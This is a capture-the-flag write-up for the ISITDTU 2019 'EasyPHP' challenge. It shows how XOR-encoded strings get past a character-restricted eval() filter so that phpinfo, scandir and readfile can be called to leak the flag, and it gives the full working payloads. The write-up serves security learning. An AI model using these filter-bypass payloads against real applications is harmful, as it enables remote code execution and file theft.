# ISITDTU CTF 2019 - EasyPHP
```EasyPHP - Web - 871 Points (20 Solves)Don't try to run any Linux command, just use all the PHP functions you know to get the flaghttp://165.22.57.95:8000/```
## Source
```php 0xd )    die('you are so close, omg');
eval($_);?>```
The goal of the challenge is to execute PHP code bypassing restrictions:- We can only use a reduced set of characters.- We can only use 13 different characters at the same time.
### Allowed Functions
Combining `get_defined_functions()` with the previous regular expression we show which PHP functions we can use.
- rtrim, trim, ltrim- chr- link, unlink- tan, atan, atanh, tanh- intval- mail- min, max
On the other hand, we have the following ascii characters available:`!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~`
### Testing environment
Modifying the source code of the test, we set up a local environment in which to test commands with fewer limitations.
We prove that it is possible to execute functions from a string. It is not possible to use *echo*, *print* or *include*.```'echo'();Call to undefined function echo()```
### Getting string
One of the limitations is not being able to use any type of quotation mark to use a string. Given the available functions, the need to use the `chr` function seems obvious.
Using this payload we can get any character, however, not being able to use the concatenation operator `.`, we can only generate one character and we can not use functions.
```phpchr((a==a)+(a==a)+...) -> 'A'```
### Getting valid string
When we use a text without quotes, PHP tries to interpret it as a constant, and if it doesn't, it converts it to string.
`undefined constant aaa - assumed 'aaa'`
With the help of [@phiber](https://twitter.com/phib_) we manage to use the XOR `^` operator to evade the filter and use characters that are not allowed.
With the following string we can execute `phpinfo`.```(qiqhnin^iiiiibi^hhhhimh)();```We can see how it's running PHP 7.3.6. Besides getting the list of disabled functions, which are all those that could allow execution of commands, including `mail` and `imap_open`. Another configuration to take into account is the `open_basedir` variable, which is configured in such a way that it is not allowed to escape from the current directory.
![](img/phpinfo.jpg)
### Directory Listing
Once we have verified that we can execute PHP code, we try to use file system functions in order to enumerate files.
Both `glob('*')` and `scandir('.')` return an array, which forces us to use a function that shows us an array on screen as `print_r` or `var_dump`.
Since the functions are very similar, we choose the combination that uses the least number of different characters.
```10 - var_dump() 8 - print_r() 8 - glob('*')11 - scandir('.')
16 - var_dump(scandir('.'))16 - var_dump(glob('*'))
14 - print_r(scandir('.'))14 - print_r(glob('*'))```
We converted it to XOR format, to simplify the process, [@phiber](https://twitter.com/phib_) recommended me to use `%FF` as a base character, since PHP also interprets it as a string.
```print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))      . ^ 0xff -> 0xd1             -> ((%ff)^(%d1))```
We assemble the complete function and close with `;`. A total of 16 different characters are used.
```((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));```
### Simplify characters
With a simple script we look for which characters can be generated as XOR combination of others, so that we can save a few characters.
```._acdinprst
t = s^c^dn = i^c^dr = a^c^p
print_r -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%9e%96%96%8c%a0%9e)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))scandir -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))```
By saving 3 characters, we get a valid payload with 13 different characters.
![](img/scandir.jpg)
In this way we know the name of the file, but the web server denies the request of `txt` files.
We do the same process to generate a payload with `readfile(end(scandir(.)))` and read the flag.
![](img/readfile.jpg)